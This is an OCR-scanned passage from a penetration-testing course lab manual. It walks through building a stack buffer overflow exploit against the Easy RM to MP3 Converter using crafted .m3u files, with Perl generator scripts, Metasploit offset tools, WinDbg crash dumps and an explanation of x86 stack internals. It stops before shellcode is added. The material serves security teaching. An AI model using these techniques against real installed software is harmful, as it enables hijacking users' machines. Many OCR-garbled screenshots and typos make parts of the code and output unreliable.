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Lab #1 |
Writing a Client Side Exploit
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In this lab, you are going to write a client-side exploit for the Easy RM to MP3 Conversion Utility. A
vulnerability was reported for this program, and public labings of this vulnerability on the internet state that
“Basy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u
file”. In other words, you can create a malicious .m3u file, feed it into the utility and trigger the exploit.
Vulnerability reports may not be very specific every time, but in most cases you can get an idea of how you can
simulate a crash or make the application behave weird. If not, then the security researcher probably wanted to
disclose his/her findings first to the vendor, give them the opportunity to fix things... or just wants to keep the
intel for him/herself...

Start the Expert Pen Testing VM

First, start your InfoSec Institute Expert Pen Testing Virtual Machine. This is a VMware Virtual Machine
running XP SP3 with most of the tools, vulnerable programs, exploits and test scripts installed or ready to be
installed.

You will find several scripts you will want to use during the course of these labs on the desktop of the VM., You
will also find several folders that contain the other programs you will need as well.

Verify the bug

First of all, let’s verify that the application does indeed crash when opening a malformatted m3u file.

Install the vulnerable version of Easy RM to MP3. You will find a copy of it in the “vulnerable programs to
exploit” directory on the desktop of the VM.

Public vulnerability reports of this vulnerability states that the exploit works on XP SP2 (English), but we will
use XP SP3 (English).
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Quick sidenote : you can find older versions of applications at oldapps.com and oldversion.com.

We’ll use the following simple perl script to create a .m3u file that may help us to discover more information
about the vulnerability :

my $file= "crash.m3u";
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my $junk= "\x41" x 10009;

open($FILE, ">$file");

print $FILE “$junk™;

close($FILE);

print "m3u File Created successfully\n";

Run the perl script to create the m3u file. The fill will be filled with 10000 A’s (\x41 is the hexadecimal
representation of A) and open this m3u file with Easy RM to MP3. The application throws an error, but it looks

like the error is handled correctly and the application does not crash.

Modify the script to write a file with 20000 A’s and try again. Same behavior. The exception is handled
correctly, so we still could not overwrite anything useful.

Now change the script to write 30000 A’s, create the m3u file and open it in the utility.
Boom - application dies.

Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A’s. But what can we
do with this ? :

Verify the bug — and see if it could be interesting

Obviously, not every application crash can lead to an exploitation. In many cases, an application crash will not
lead to exploitation... But sometimes it does. With “exploitation”, we mean that you want the application to do
something it was not intended to do... such as running your own code. The easiest way to make an application
do something different is by controlling its application flow (and redirect it to somewhere else). This can be
done by controlling the Instruction Potinter {or Program Counter), which is a CPU register that contains a
pointer to where the next instruction that needs to be executed is focated.

Suppose an application calls a function with a parameter. Before going to the function, it saves the current
location in the instruction pointer (so it knows where to return when the function completes). If you can modify
the value in this pointer, and point it to a location in memory that contains your own piece of code, then you can
change the application flow and make it execute something different (other than returning back to the original
place). The code that you want to be executed after controtling the flow is often referred to as “shellcode”. So if
we make the application run our shellcode, we can call it a working exploit. In most cases, this pointer is
referenced by the term BIP. This register size is 4 bytes. So if you can modify those 4 bytes, you own the
application (and the computer the application runs on)

Before we proceed — some theory

Just a few terms that you will need :
Every Windows application uses parts of memory. The process memory contains three major components :

+ Code segment (instructions that the processor executes. The EIP keeps track of the next instruction)

« Data segment (variables, dynamic buffers)

» Stack segment (used to pass data/arguments to functions, and is used as space for variables. The stack
starts (= the bottom of the stack) from the very end of the virtual memory of a page and grows down (to
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a lower address). a PUSH adds something to the top of the stack, POP will remove one item (4 bytes)
from the stack and puts it in a register.

If you want to access the stack memory directly, you can use ESP (Stack Pointer), which points at the top (so
the lowest memory address) of the stack.

» After a push, ESP will point to a lower memory address (address is decremented with the size of the data
that is pushed onto the stack, which is 4 bytes in case of addresses/pointers). Decrements usually happen
before the item is placed on the stack (depending on the implementation... if ESP already points at the
next free location in the stack, the decrement happens after placing data on the stack)

» After a POP, ESP points to a higher address (address is incremented (by 4 bytes in case of
addresses/pointers)). Increments happen after an item is removed from the stack.

When a function/subroutine is entered, a stack frame is created. This frame keeps the parameters of the parent
procedure together and is used to pass arguments to the subrouting. The current location of the stack can be
accessed Via the stack pointer (ESP), the current base of the function is contained in the base pointer (EBP) (or
frame pointer).

The CPU’s general purpose registers (Intel, x86) are :

« EAX :accumulator : used for performing calculations, and used to store return values from function
calls. Basic operations such as add, subtract, compare use this general-purpose register

« EBX : base (does not have anything to do with base pointer). It has no general purpose and can be used
to store data.

¢ ECX: counter : used for iterations. ECX counts downward.

+ EDX : data: this is an extension of the EAX register. It allows for more complex calculations (multiply,
divide) by allowing extra data to be stored to facilitate those calculations.

« [ESP : stack pointer

« EBP : base pointer

» ESI: source index : holds location of input data

o EDI: destination index : points to location of where result of data operation is stored

« EIP : instruction pointer

Process Memory

When an application is stared in a Win32 environment, a process is created and virtual memory is assigned to.
In a 32 bit process, the address ranges from 0x00000000 to OxFFFFFFEE, where 0x00000000 to Ox7FFFFFFF
is assigned to "user-land", and 080000000 to OxFFFFFFFF is assigned to "kernel land". Windows uses the flat
memory model, which means that the CPU can directly/sequentially/linearly address all of the available
memory locations, without having to use a segmentation/paging scheme.

Kemel land memory is only accessible by the OS.
When a process is created, a PEB (Process Execution Block) and TEB (Thread Environment Block) are created.
The PEB contains all user land parameters that are associated with the current process :

+ Location of the main executable
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» Pointer to loader data (can be used {o list all dlls / modules that are/can be loaded into the process)
+ Pointer to information about the heap

The TEB describes the state of a thread, and includes
+ Location of the PEB in memory
» Location of the stack for the thread it belongs to
» Pointer to the first entry in the SEH chain (see lab 3 and 3b to learn more about what a SEH chain is)

Each thread inside the process has one TEB.

The Win32 process memory map looks like this :

0x00000000
When sontething is pushed aate the stack,
the stack polnter decremanss,
Stacksize : fixed ailovatien

Stock wpper fiovd -> B
Heap groves down
7 1o higher address)
CGx00400000
Imports
- dats [data)
s {resources)

Memory space, tan be
aflocated as heap, or stack for
other threads In the process etc
Oti's have & header, .text, .data,
.rsrc and reloc segment

OX7FFDFO00

Ox7FFEGOO0

Ox7FFEL000

OX7EEFFEFE

B0, RELFILL e e B

The text segment of a program image / dll is readonly, as it only contains the application code. This prevents
people from modifying the application code. This memory segment has a fixed size. The data segment is used
to store global and static program variables. The data segment is used for initialized global variables, strings,
and other constants.
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The data segment is writable and has a fixed size. The heap segment is used for the rest of the program
variables. It can grow larger or smaller as desired. All of the memory in the heap is managed by allocator (and
deallocator) algorithms. A memory region is reserved by these algo’s. The heap will grow towards a higher
addresses.

In a dll, the code, imports (list of functions used by the dll, from another dli or application), and exports
(functions it makes available to other dlls applications) are part of the .text segment.

~ The Stack

The stack is a piece of the process memory, a data structure that works LIFO (Last in first out). A stack gets
allocated by the OS, for each thread (when the thread is created). When the thread ends, the stack is cleared as
well. The size of the stack is defined when it gets created and doesn’t change. Combined with LIFO and the
fact that it does not require complex management structures/mechanisms to get managed, the stack is pretty fast,
but limited in size.

LIFO means that the most recent placed data (result of a PUSH instruction) is the first one that will be removed
from the stack again. (by a POP instruction).

When a stack is created, the stack pointer points to the top of the stack ( = the highest address on the stack). As
information is pushed onto the stack, this stack pointer decrements (goes to a lower address). So in essence, the
stack grows to a lower address.

The stack contains local variables, function calls and other info that does not need to be stored for a larger
amount of time. As more data is added to the stack {pushed onto the stack), the stack pointer i1s decremented
and points at a lower address value.

Every time a function is called, the function parameters are pushed onto the stack, as well as the saved values
of registers (EBP, EIP). When a function returns, the saved value of EIP is retrieved from the stack and placed
back in EIP, so the normal application flow can be resumed.

Let’s use a few lines of simple code to demonstrate the behavior:

#include <string.h>

void do_something(char *Buffer)

{
char MyVar[128];
strepy(MyVar,Buffer);

int main (int argc, char *argv)

{
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do_something(argv[1]);

Note: You can compile this code. Install Dev-C++4.9.9.2 program, which you can find in the “Compilers &
Interpreters” folder. The name of the install file is devepp-4.9.9.2 setup.exe. After installing, create a new
Win32 console project (use C as language, not C++), use the above code and compile it. For this lab, we called

the project "stacktest".

Run the application : “stacklest.exe AAAA". Nothing should return.

This applications takes an argument (argv[1] and passes the argument to function do_something(). In that
function, the argument is copied into a local variable that has a maximum of 128 bytes. So... if the argument is

longer than 127 bytes (+ a null byte to terminate the string), the buffer may get overflown.

When function "do_something(param1)" gets called from inside main(), a new stack frame is created, and the
stack pointers (ESP) points to the highest address of the newly created stack. This is the "top of the stack":

000000

ESP
{Top of stack) -» —

OnFFEFFFER

Before do_something() is called, a pointer to the argument(s) gets pushed to the stack. In our case, this is a
pointer to argv[1].

Next, function do_something is called. The current instruction pointer onto the stack (so it knows where to
return to if the function ends). As a result of the push, ESP decrements 4 bytes and now points to a lower

address:
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ESP .
(Top of stack) -»—

OxFEFFEFFF

(or, as seen in a debugger) :

ESP points at 0022FF5C. At this address, we see the saved EIP (Return to...), followed by a pointer to the
parameter (AAAA in this example)

Next, the function prolog executes. This basically saves the frame pointer (EBP) onto the stack, so it can be
restored as well when the function returns. The instruction to save the frame pointer is "push ebp". EPS is
decremented again with 4 bytes.
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OXFFEFFFEF

. Following the push ebp, the current stack pointer (ESP) is put in EBP. At that point, both ESP and EBP point at
the top of the current stack. From that point on, the stack will usually be referenced by ESP (top of the stack at

- any time) and EBP (the base pointer of the current stack). This way, the application can reference variables by

- using an offset to EBP.

Most functions start with this sequence: PUSH EBP, followed by MOV EBP,ESP

So, if you would push another 4 bytes to the stack, ESP would decrement again and EBP would still stay where
it was. You could reference these 4 bytes by using EBP-0x8.

Next, we can see how stack space for the variable MyVar (128bytes) is declared/allocated. In order to hold the
- data, some space is allocated on the stack to hold data in this variable... ESP is decremented by a number of
- bytes. This number of bytes wil most likely be more than 128 bytes, because of an allocation routine
determined by the compiler. In the case of Dev-C++, this is 0x98 bytes. So you will see a SUB ESP,0%98
. instruction. That way, there will be space available for this variable.
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Q000000

ESP
(Top of stack} =

EBP :
(Frame pointer} -» pe————

savedgBP

OXFFEFFFFF

The disassembly of the function looks like this :

00401290 /$ 55 PUSH EBP

00401291 |. 89ES MOV EBP,ESP

00401293 |. BLlEC 98000000 SUB ESP, 98

00401299 | 8B45 08 MOV EAX, DWORD PTR S5S: [EBP+8] ;o

0c40129C | 894424 04 MOV DWORD PTR SS: [ESP+4],EAX ;o

004012A0 ! 8D85% T8FFFFFF LEA EAX,DWORD PTR S5:[EBP-88) H

004012a6 |. 8850424 MOV DWORD PTR SS:[ESP],EAX HE

004012a% |. E8 72050000 CALL <imp. &msvcrt.strcpy=""> ‘ ; \strcpy
0C40128E |. C8 LEAVE

004012AF \. C3 RETN</jnp.>

Note: Don’t worry about the code too much. You can clearly see the function prolog (PUSH EBP and MOV
EBP,ESP), you can also see where space gets allocated for MyVar (SUB ESP,98), and you can see some MOV
and LEA instructions (which basically set up the parameters for the strepy function... taking the pointer where
argv[1] sits and using it to copy data from, into MyVar.

If there would not have been a strepy() in this function, the function would now end and "unwind" the stack.
Basically, it would just move ESP back to the location where saved EIP was, and then 1ssues a RET instruction.
A ret, in this case, will pick up the saved EIP pointer from the stack and jump to it. (thus, it will go back to the
main function, right after where do_something() was called). The epilog instruction is executed by a LEAVE
instruction (which will restore both the framepointer and EIP).
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In our example, we have a strepy() function.

This function will read data, from the address pointed to by [Buffer], and store it in <space for MyVar>, reading
all data until it sees a null byte (string terminator). While it copies the data, ESP stays where it is. The strepy()
does not use PUSH instructions to put data on the stack... it basically reads a byte and writes it to the stack,
using an index (for example ESP, ESP+1, ESP+2, etc). So after the copy, ESP still points at the begining of the
string.

L eestei]

EsP
{Top of stack} -»

| Strepyi} werites
§ this oy

EBP
(Frame pointer) -»

O=FFFFSFFF

That means... If the data in {Buffer] is somewhat longer than 0x98 bytes, the strepy() will overwrite saved EBP
and eventually saved EIP (and so on). After all, it just continues to read & write until it reaches a null byte in

the source location (in case of a string)
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ESP still points at the begin of the string. The strepy() completes as if nothing is wrong. After the strepy(), the
function ends. And this is where things get interesting. The function epilog kicks in. Basically, it will move
ESP back to the location where saved EIP was stored, and it will issue a RET. It will take the pointer (AAAA
or 0x41414141 in our case, since it got overwritten), and will jump to that address.

So you control EIP.

Long story short, by controlling EIP, you basically change the return address that the function will uses n order
to “resume normal flow”.

Of course, if you change this return address by issuing a buffer overfiow, it’s not a “normal flow” anymore.

So... Suppose you can overwrite the buffer in MyVar, EBP, EIP and you have A’s (your own code) in the area
before and after saved EIP... think about if. After sending the buffer ((MyVar][EBP][EIP][your code]), ESP
will/should point at the beginning of [your code]. So if you can make EIP go to your code, you're 1 control.

Note : when a buffer on the stack overflows, the term "stack based overflow" or "stack buffer overflow" is used.
When you are trying to write past the end of the stack frame, the term "stack overflow"” is used. Don’t mix those
two up, as they are entirely different.

The debugger

In order to see the state of the stack (and value of registers such as the instruction pointer, stack pointer etc), we
need to hook up a debugger to the application, so we can see what happens at the time the application runs (and
especially when it dies).

There are many debuggers available for this purpose. The two debuggers we will use for these labs are Windbg,
and Immunity’s Debugger.
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Let’s use Windbg. Windbg is already installed on your VM, but you must still register it as a “fab-mortem”
debugger using “windbg -WE”,

boigppinny Ton fs For Bindaws w

(57 wHregratt FileasDobegging Toals For Wisdme

You can also disable the “xxxx has encountered a problem and needs to close™ popup by setting the following
registry key to 0 :

HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto

Ay Moy R ] N 3 i TN
i e Magng Rl ] e ' i A {radm ok amidl
Wl &Y A . g

e g K a1 LA E Y LR TR 1 L T
s I N w1 f¥lisn ety

In order to avoid Windbg complaining about Symbol files not found, create a folder on your harddrive (let’s say
ci\windbgsymbols). Then, in Windbg, go to “File” — “Symbol File Path” and enter the following string :

SRV*C:Awindbgsymbols*http://msdl.microsoft.com/download/symbols

(do NOT put an empty line after this string ! make sure this string is the only string in the symbol path
field)

Ok, let’s get started.

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manuaim



Launch Easy RM to MP3, and then open the crash.m3u file again. The application will crash again. If you have
disabled the popups, windbg or Immunity debugger will kick in automatically. If you get a popup, click the
“debug” button and the debugger will be launched:

Windbg :
EM Cocvanpril - P 3492 - Wndibrtit LI 404 000 -
' Hioed Lisad ﬁlulﬂﬂﬂ[f 5 fadd20n 4::"?'@-;‘:5! ?:l.ln\' \F.'a:*y H l‘.o HF‘J Canrerior v HEFH endecd? dil
HeELgd . 0L D0l 58 LEDG T APIHODUC s Lan I2~NEYCIRT 411
i MewtEnesd . PRE20000 T Labl0G LOAVIRBONS 3w ton II-0LERUTIZ 418
HewdLoad . 02700600 4rzledht ¥ “Proyram Files~Eisy BY 1o HPY Coawarletanstimst dil
HodEosd . PIR00000 YROZ6000 € SYIFDOWS:avsteniZ-VINSPOOL BRY
HedLowd - B3 ELEG0D G RR%ao0l it\i‘rﬂ-;'ru Fules-Basy B 10 MR Converier HSPEHiLleesdd 451
Bodfoad G2ABRDG0 FaLtagn €0 2k Fi1les l:-u-g EX 1o K1 Conwerisrsfizilog g1l
Hodload M09 744 10800 f‘;.‘wl Y S syt amd I RASAP L2 i
Hodfond 498000 TienlG00 < ~“RIHDOUG-svetaxll-rosasn 1l
Hodload  SHEGOGDO SHEBSEON o ~RINDOUSwewer Loy 1 HETLPTIY o1t
Hodload  PeekOEDD Vipd{GD)  C UIHDONS-zystexdd<TAP132 1]
Hodlond  PEaBU000 F<adnthi f:‘"‘.U].HEIDU,.«"V..;:!.@SB‘":!u.l:l- 411
HeadLasoad - PE2:0800 J&£5745040 WV IHDOUS e Loen 11 USERENY £11
HedTead . P3XL0G00 222B5GDA AV IHDONS spd Lon I I setizapl 411
Hesdlead . PLak0dan ViaBiong E."LYIHEIBU’:\Ey:ELﬂEZ“xiﬁﬁ-‘i’ #11
HewdLowd . FToPQFG0 -ff"g-"e['ﬂ G SPINDOUS s ygrenIensv] 0. &1L
Hodlowd . TRA60000 7473000 IR S sy tam 2 apk i paps did
Hedload . TsicOiol PEEcHQD0 O ~RIRDOVE-Ssesiewid~regedhlp dii
Hodlasd: 19330080 FEIEMEED  C - WINDWS systenii pzinon. d1l
Hodload ?HEDNH FHEEIONN C-«@lﬁmuf‘kwatm h PREEPT 1L
Hodlowd G42B0000 €£308500 ¢ -WIRDOVS suetsniihnetcig 1L
Mo lond - MLad0000 Tia%000 S BIHDS-Shptenddwvshtepip diE
Hodlond : 7540006 TIRE2UID O SUIHEOUS mwetenIdiapplloln $11
HeaToad TEEJOJAD 704000 . ~DINDOUS . sa= {medI-CIECATG BLT
ModLead: . 77050800 77116040 CARTHEORE 2y nt ond 0N Ros &l
HoedLoad 77920300 7413500 CRIREPS e s tem LIS ETUHRART dLE
Mol ot . Gad70900 Sadadnni AW IRDOUE sy s L e 1 2D T e 1L
Mo Lsad . PERA0GHD PEREEZ00 Dot L n St STERRCE ANt T TR N )
i HodLoad: 7EDZ0000 75DIL400 CoSFEREDUE~susten)2<A4TL DIl
Hodicad: P7a80000 F7b1S9D0  Cow¥l il:i'lUS“\.'.\'xstc«ﬂZu:Hf?T:&J -:lil
Modfosd - FHp2G000 FIRAAGOC ¢ UINEOUSwsvetenl-NEAEHT . &
Hodlosd: Moifi) Tobedli < -PIRBMSGsestewOWIETRUGE -dl‘.'
Hodlond: TAci008D ThobAaGog Q"-Ulnmﬁskwnndr JHACENTE d Lt
Hedload: TEH20000 FipdioMl & ~VIHDOVGayrtesddHPR 411
Hodload: G2ERR0D0 QefalCll £ \-f‘..cggﬁl Filepirtual Hachine Additicme-arwvpeng &1
HodLead - EVQEEN00 &701220( & WTR Crper Loelameres &)l
HedToad 7SEE0000 JEE62G00 o WTHIOUEA Sy tand Indrpoad . &l
Mestand . L0000 VialalDi CRWINDOUEA Syt eI wnt Lannas 1
Howdlewd . 7 hoddeald 3 Eee?a00 COARIREOUESes ten I 2SHETTI0 . 211
ModDoad  PLeR0600 9 Eed@oid COARIFIONEASYSten I WHETIIL 811
ModLoad © TLoBUCDO ?icB?ﬁ:D[} CNWIRDONE w3 t e 2HETEAE 411
Rodfoad: YRE08d0 Yic03S00 O RINDOVSSvstendZ-SANLIE 411
Hodboan SE70500 941 Ye000 € WIRDONSSysteniduwdevclnt dll
Hodload: 18470800 22208000 SRRV svetes ) HESIHA 01
Hodload - TH320C0 24354000 © ~UIHmUS~“§:.sLmJE QLR AR dil
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We can see that the instruction pointer contains 41414141, which is the hexidecimal representation for AAAA.

A quick note before proceeding : On intel x86, the addresses are stored little-endian (so backwards). The
AAAA you are seeing is in fact AAAA :-} (or, if you have sent ABCD in your buffer, EIP would point at
44434241 (DCBA)

So it looks like part of our m3u file was read into the buffer and caused the buffer to overflow. We have been
able to overflow the buffer and write across the instruction pointer. So we may be able to control the value of

EIP.

Since our file does only contain A’s, we don’t know exactly how big our buffer needs to be in order to write
exactly into EIP. In other words, if we want to be specific in overwriting EIP (so we can feed it usable data and
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make it jump to our evil code, we need to know the exact position in our buffer/payload where we overwrite the
retum address (which will become EIP when the function returns). This position is often referred to as the
“offset”.

Determining the buffer size to write exactly infto EXP

We know that EIP is located somewhere between 20000 and 30000 bytes from the beginning of the buffer.
Now, you could potentially overwrite all memory space between 20000 and 30000 bytes with the address you
want to overwrite EIP with. This may work, but it looks much more nice if you can find the exact location to
perform the overwrite. In order to determine the exact offset of EIP in our buffer, we need to do some additional
work.

First, let’s try to narrow down the location by changing our perl script just a little :

Let’s cut things in half. We’ll create a file that contains 25000 A’s and another 5000 B’s. If EIP contains an
41414141 (AAAA), EIP sits between 20000 and 25000, and if EIP contains 42424242 (BBBB), EIP sits
between 25000 and 30000.

my $file= "crash25000.m3u";

my $junk = "\x41" x 25008;

my $junk2 = "\x42" x 5000;

open($FILE, ">$file”);

. print $FILE $junk.$junk2;

. close($FILE);

print "m3u File Created successfully\n";

Create the file and open crash25000.m3u in Easy RM to MP3.

LD ATAS I L W R T A " M LA e e P SRR R AP O R (R T YL l\l«' }n‘im*'\orw VRLATR

(400.110): hccess violation - code <000000S (11! second chance (1)
2ax=0000800] ebx=001042a58 ecr=7c91005d edx=000400040 esi=77cSfcel edi=00007530
_ esp=(00££730 ebp=003440c0 iopl=] nv up #i pl nz na p=e ne
csn00lb =s=0023 dsr0023 ees)(23 £5«003b gs=0000 =f1=00000204
Miezing image name. possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Miseing image name, possible paged-out or corrvupt data.

¢Unloaded P32.d11:+0x4242423L;

42424242 7 777

OK, so cip contains 42424242 (BBBB), so we know EIP has an offset between 25000 and 30000. That also
means that we should/may see the remaining B’s in memory where ESP points at (given that EIP was
overwritten before the end of the 30000 character buffer)

Buffer :
' [ 5000 B's ]
[ AAAAAAAAAAAAAAAAAAAAAABBBBBBBEBBBB] [BBBB ] [BBBRBBBRB. .. ... ]
25809 A's EIP ESP points here

Dump the contents of ESP with the following command:
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- B:000> d esp

Q00ff736 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBEBBBBBBBBBBRSB
POOTF748 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBB3BBBBBBBBB3B
oeaff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBSBBBBBBBRBBB
Q0OFT760 42 42 42 42 42 42 427 42-42 42 42 42 42 42 42 42 BEBBBGBBBEBBBBSB
2eRTF770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 EBBBBSEBBBBBBBBAB
GRBTF780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
epeff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBEBBEBBBBBBBBB
QORFF7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBEBEBBBBBBBBBEB
9:060> d

PROFF7he 42 42 42 A2 42 42 42 42-42 42 42 42 42 42 42 42 HBBBBBEBBBBRBBBB
PBOFf7ce 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BSBBBBBBBBBBBBBRBB
eoeff7de 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBEBS
oeeff7ed 42 42 42 42 42 42 42 A42-42 42 42 42 42 42 42 42 BBBBEB3RBBBBBREBA
BOBFF7FO 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBEBBEBBBBBBBS
DOOFFEO0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBEBEBEBBEBBBBS
Q0PFF810 42 42 42 42 42 42 42 42-42 42 42 42 47 42 42 A2 BBEBBBBBBRBBBRBES
2eRTFE20 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 EBSBBBEBBBBBBBBBB
g:e00> d _

BBOFFR30 42 42 42 42 42 42 42 42-42 42 42 42 42 A2 42 42 BBBBRBBBSBBBBBBR
0R0Ff840 42 42 42 42 42'42 42 42-42 42 42 42 42 42 42 42 BBBEBBEBBBBBBBEEB
DOOTFE58 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBSBBBBBBBBBBEBB
BRBFFEeD 42 42 42 42 42 42 42 42-42 42 A2 42 42 42 42 42 BBBEBBBRBBEBBBBEB
BORFFE78 42 42 42 42 A2 42 42 42-42 42 42 42 42 42 42 42 BBBBDBBBBBBBBBBEB
00811888 42 42 42 42 42 42 42 42-42 42 42 4 42 42 42 42 BEGBBBBBEBBBBBBB
0Reff898 42 42 42 42 42 A2 42 42-42 42 42 42 42 42 42 42 BBBSBBBEBBBBBEBB
006FF8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBEBBBBBBBB

That is great news. We have overwritten EIP with BBBB and we can also see our buffer in ESP.
Before we can start tweaking the script, we need to find the exact location in our buffer that overwrites EIP.
In order to find the exact location, we’ll use Metasploit.

Metasploit has a nice tool to assist us with calculating the offset. It will generate a string that contains unique
patterns. Using this pattern (and the value of EIP after using the pattern in our malicious .m3u file), we can see
how big the buffer should be to write exactly into EIP.

Open the tools folder in the metasploit framework3 folder (you will find the linux version of Metasploit 3 pre-
installed for you on the Linux Attack Server VM).

You should find a tool called pattern_create.rb. Create a pattemn of 5000 characters and write 1t into a file

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set ]
root@bt: /pentest/exploits/framework3/tools# ./pattern_create.rb 5000

Edit the perl script and replace the content of §junk? with our 5000 characters.

my $file= "crash25000.m3u";
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my $junk = "\x41" x 25000;

my $junk2 = “put the 5008 characters here”
open($FILE,">$file");

print $FILE $junk.$junk2;

close($FILE);

print "m3u File Created successfully\n";

Create the m3u file. Open this file in Easy RM to MP3, wait unti] the application dies again, and take note of
the contents of EIP

HadLoad: 76990600 76955000 CATIHDOUS systendZ ntzhrul . d1]

HodLoad: 76b20000 74b31000 CNVINDOUS aysten32NATL. DLL

{970l.72c) : Access violation -~ code c0000005 (t1! second chance (11}

eax 08888881 ebu=00104258 ecx=7c91005d ed==003f0000 esi=77cSfcel edi=00007530
2ipt356b4234 jesp=000££730 ebp=00343e68 iopl=0 nv up el pl nz na pe nc
cs=0fthee=fi23 de=0023 e==0023 fs=003b gs=0000 ef 1=000002486
Hissing image name, possible paged-out or corrupt data.

Missing image name, possible paged-cut or corrupt data.

Hiseing image name., possible paged—out or corrupt data.
{Unloaded P32 .dl1l>+0x356b4223:

356b4234 77 2?7

At this time, eip contains 0x356b4234 (note : little endian : we have overwritten EIP with 34 42 6b 35 = 4Bk35)

Let’s use a second metasploit tool now, to calculate the exact length of the buffer before writing into EIP, feed it
with the value of EIP (based on the pattern file) and length of the buffer :

root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 6x356b4234 5000
1894
root@bt:/pentest/exploits/framework3/toolsit

1094. That’s the buffer length needed to overwrite EIP. So if you create a file with 25000+1094 A’s, and then
add 4 B’s (42 42 42 42 in hex) EIP should contain 42 42 42 42. We also know that ESP points at data from our
buffer, so we’ll add some C’s after overwriting EIP.

Let’s try. Modify the perl script {o create the new m3u file.

my $file= "eipcrash.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB";

my $espdata = "C" x 1000;
open($FILE,">$file");

print $FILE $junk.$eip.$espdata;
close($FILE);

print "m3u File Created successfully\n";

Create eipcrash.m3u, open it in Easy RM to MP3, observe the crash and look at eip and the contents of the
memory at ESP:
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(234 c78): Access violation - code 0000605 (1#1 second chance 1!}
Heax=00000001 ebx=00104a58 ecx=7c91003d edx=00000040 esi=77cSfcel odi=000065£FY9
elp®di2424242 esp=0B0f{730 ebp=003440c0 icpl=0 nv up @i pl nz na pe nc
ag=001b s8=0023 ds=0023 =5=0023 f{fs5=003b gs=0000 etl1=00000206
Hi=sing image name. possible paged-cut or corrupt datas.

Hiis=ing image name, possible paged-cut or corrupt data.

MHissing image name, possible paged-~out or corrupt data.
H<Unlocaded P22 .d1ll>+0x42424231;

J42424242 27 LR

9:008> d esp .

Q00Ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CLCCCCCCCCLoccee
@Raff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCCCCCCCeLLccel
BOBFF750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCLCCeC
GoBTF768 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCLeclce
eeefF770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCcece
P0OFf788 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CLCCCCCOCCCCCOce
00BFf798 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 (CCCCCCCCCCeecece
Q0eff7a@ 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCOCCCCoc

Excellent. EIP contains BBBB, which is exactly what we wanted. So now we control EIP. On top of that, ESP
points to our buffer (C’s)

Note: the offset shown here is the result of the analysis on my own system. If you are trying to reproduce the
exercises from this lab on your own system, odds are high that you will get a different offset address. So please
don’t just take the offset value or copy the source code to your system, as the offset is based on the file path
where the m3u file is stored. The buffer that is vuinerable to an overflow includes the full path to the m3u file.
So if the path on your system is shorter or larger than mine, then the offset will be different.

Our exploit buffer so far looks like this:

Buffer EBP %EIP ESP points here

| |

| | v

A (x 26090) AAAA IBBBB CCCCCCCCCCCCCCCCCCCCCCCC
414141414141...41/41414141 42424242 |

26090 bytes 4 bytes 4 bytes 11000 bytes ?

Find memory space to host the shellcode

We control EIP. So we can point EIP to somewhere else, to a place that contains our own code (shellcode). But
where is this space, how can we put our shellcode in that location and how can we make EIP jump to that

location?

In order to crash the application, we have written 26094 A’s into memory, we have written a new value into the
saved EIP field (ret), and we have written a bunch of C’s,
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When the application crashes, take a look at the registers and dump all of them (d esp, d eax, d ebx, d ebp, ...).
If you can see your buffer (either the A’s or the C’s) in one of the registers, then you may be able to replace
those with shellcode and jump to that location. In our example, we can see that ESP seems to point to our C’s
(remember the output of d esp above), so ideally we would put our shellcode instead of the C’s and we tel] EIP
to go to the ESP address.

Despite the fact that we can see the C’s, we don’t know for sure that the first C (at address 0001730, where ESP
points at), is in fact the first C that we have put in our buffer.

We’ll change the perl script and feed a pattern of characters (We have taken 144 characters, but you could have
taken more or taken less) instead of C’s :

my $file= "testl.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB"; .

my $shellcode = "1ABCDEFGHIJK2ARCDEFGHIJK3ABCDEFGHIJIKAABCDEFGHIJIK"
“SABCDEFGHIIKGABCDEFGHIIK"
"7ABCDEFGHIIK8ABCDEFGHI JK"
"9ABCDEFGHIJKAABCDEFGHIIK™ .
"BABCDEFGHIJKCABCDEFGHIIK";
open($FILE,">§file");

print $FILE $junk.$eip.$shellcode;
close($FILE);

print "m3u File Created successfully\n";

Create the file, open it, let the application die and dump memory at location ESP :

©:000> d esp

QeefT73@ 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47 DEFGHIJK2ABCDEFG
QOOTf740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b  HIJKIABCDEFGHIIK
20OT750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43 4ABCDEFGHIJKSABC
